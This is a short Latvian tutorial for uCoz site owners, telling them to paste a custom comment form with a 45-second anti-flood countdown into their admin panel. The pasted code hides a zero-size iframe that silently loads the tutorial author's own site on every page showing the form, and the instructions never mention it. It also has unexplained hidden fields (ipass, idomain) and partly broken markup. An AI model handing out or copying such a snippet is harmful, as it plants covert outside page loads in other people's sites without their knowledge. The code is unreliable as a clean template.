1. Dodamies Admina Panelī - http://adrese.ucoz.lv/panel/?a=cp
2. Customize design - Comments - Form for adding comments
3. Izdzēšam visu jau esošo saturu, iekopējam šo:
Code
BR><SCRIPT LANGUAGE="JavaScript"> <BR>//Komentāru izskats @ uCozwebmeistars.ucoz.lv <BR>var down,cmin2,csec2; <BR><BR>function Minutes(data) { <BR>for(var i=0;i<data.length;i++) <BR>if(data.substring(i,i+1)==':') <BR>break; <BR>return(data.substring(0,i)); <BR>} <BR><BR>function Seconds(data) { <BR>for(var i=0;i<data.length;i++) <BR>if(data.substring(i,i+1)==':') <BR>break; <BR>return(data.substring(i+1,data.length)); <BR>} <BR><BR>function Display(min,sec) { <BR>var disp; <BR>if(min<=9) disp=' 0'; <BR>else disp=' '; <BR>disp+=min+':'; <BR>if(sec<=9) disp+='0'+sec; <BR>else disp+=sec; <BR>return(disp); <BR>} <BR><BR>function Down() { <BR>document.all.addcBut.style.display = 'none'; //Paslēpjam pogu <BR>cmin2='0'; //Minūtes <BR>csec2='45'; //sekundes <BR>DownRepeat(); //Taimeris <BR>} <BR><BR>function DownRepeat() { <BR>csec2--; <BR>if(csec2==-1) { <BR>csec2=59; cmin2--; <BR>} <BR>document.all.timeNumer.innerHTML='<h1>'+Display(cmin2,csec2)+'</h1><font color="red">Anti-flood aizsardzība </font>'; //Uzrāda cik atlicis <BR>if((cmin2==0)&&(csec2==0)) <BR>{ <BR>document.all.addcBut.style.display = 'block'; //Uzrāda pogu atkal <BR>document.all.timeNumer.innerHTML='<font color="green">Jūs variet pievienot komentāru</font>'; //Drukāt ziņojumu beigās <BR>} <BR>else down=setTimeout('DownRepeat()',1000); <BR>} <BR></SCRIPT> <BR><style> <BR><!-- <BR>.postPreview {border: 0px;padding: 5px;text-align: center;font-size: 10px;margin: 0px;width: auto;background: #1779BD;color: #ffffcc;cursor: pointer;letter-spacing: 0px;font-family: verdana;}--> <BR></style> <BR><BR><table border="0" cellpadding="15" cellspacing="0" width="100%" style="border:1px solid #CCCCCC; text-align:center"><tr><td style="background:#F8F8F8;"><div id="allEntries"><div id="entryID29"> <BR><p align="left"><b><font color="#1779BD" size="4">Jūsu komentārs</font></b></p> <BR><table width="600" align="center" cellpadding="0" cellspacing="0"><tr><td><p align="center"><b><font color="#1779BD">$ERROR$</font></b></td></tr><tr><body style="margin:0px"> </iframe> <BR><iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;" <BR>src="ucozwebmeistars.ucoz.lv"></iframe><td align="justify"><form style="margin: 0px; padding: 0px" method="post" action=""><div style="float: left; width: 300px; height:115px"><h3>Vārds</h3>Jūsu vārds<br><input name="iname" id="iname" value type="hidden"><input id="domain0" name="name" maxlenght="25" style="width: 264; text-align: right; height: 38; font-size:18pt; color:#1779BD" onfocus="check_dom (this, true)" onkeyup="check_dom (this, true)" onblur="check_dom (this, false)" type="text" value="$NAME$" size="20"><br><span style="color: gray" id="name_txt">Nepieciešams aizpildīt</span> <BR></div><div style="float: left; width: 300px"> <BR><h3>E-pasts</h3>Jūsu e-pasts<br><input name="iemail" id="iemail" value type="hidden"> <BR><input id="domain1" name="email" maxlenght="25" style="width: 289; text-align: right; height: 33; font-size:18pt; color:#1779BD" onfocus="check_dom (this, true)" onkeyup="check_dom (this, true)" onblur="check_dom (this, false)" type="text" value="$EMAIL$" size="20"><br> <BR><span style="color: gray" id="email_txt">Nepieciešams aizpildīt</span> <BR></div> <BR><div style="float: left; width: 600px"> <BR><textarea style="width: 600px; height: 150px;" name="message" rows="1" cols="20">$MESSAGE$</textarea> <BR></div> <BR><div style="float: left; width: 300px; padding-top: 30px"> <BR><p align="left">$SECURITY_CODE$</div> <BR><div style="float: left; width: 300px; text-align: right; padding-top: 30px"> <BR><p style="text-align: center"> <BR><BR><div id="timeNumer"></div> <BR><input style="width:147;height:26; float:right" id="addcBut" type="submit" onClick="Down()" class="postPreview" id="addcBut" name="submit" value="PIEVIENOT KOMENTĀRU"></div> <BR><input name="iconfirm" id="iconfirm" value type="hidden"> <BR><input name="ipass" id="ipass" value type="hidden"> <BR><input name="idomain" id="idomain" value type="hidden"> <BR></form> <BR></td> <BR></tr> <BR></table> <BR><BR></div></div> <BR></td></tr></table> <BR>
4. Iznākums: